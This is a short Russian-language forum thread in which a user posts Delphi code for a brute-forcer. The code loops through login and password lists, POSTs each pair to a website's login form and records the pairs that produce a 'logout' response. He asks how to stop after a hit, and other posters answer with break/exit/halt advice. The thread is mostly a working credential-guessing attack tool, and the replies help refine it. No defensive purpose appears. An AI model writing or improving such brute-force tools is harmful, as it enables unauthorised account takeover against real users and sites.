брут

[oteccc]

Всем привет решил написать простой брут, но столкнулся с такой проблемой , когда брут находит валидный акканут , он продолжает подбирать под него пароли, как это исправить?

procedure TForm1.Button1Click(Sender: TObject);
var
  l,p: Integer;
  data, post, login, pass: TStringList;


begin

     login:= TStringList.Create;

     pass:= TStringList.Create;

     login.LoadFromFile(Edit1.text);
     pass.LoadFromFile(Edit2.text);

     data:= TStringList.Create;

     post:= TStringList.Create;

     for l:= 0 to login.Count-1 do
     for p:= 0 to pass.count-1 do
     begin
       data.Add('login_name='+ login.Strings[l]);
       data.Add('login_password='+ pass.Strings[p]);
       data.Add('login=submit');
       showmessage(IntToStr(l));
       post.Text:= idHTTP1.Post('http://сайт/', data);

       if Pos('logout', post.text)>0 then
       begin
       Memo3.Lines.Add(login.Strings[l]+ ';'+ pass.Strings[p])  ;

       end
       else
       Memo3.Lines.Add('ошибка: '+ login.Strings[l]+ ';'+ pass.Strings[p]);



     end;


end;

[Кольша]

exit;
break;
abort;
halt;

[oteccc]

спасибо помог

[Человек_Борща]

break достаточно, в данном случае, для циклов самое оно.
exit - выход из всего метода целиком.
halt - закрывает ПО притом не безопасно с точки зрения ОС и занятых ресурсов.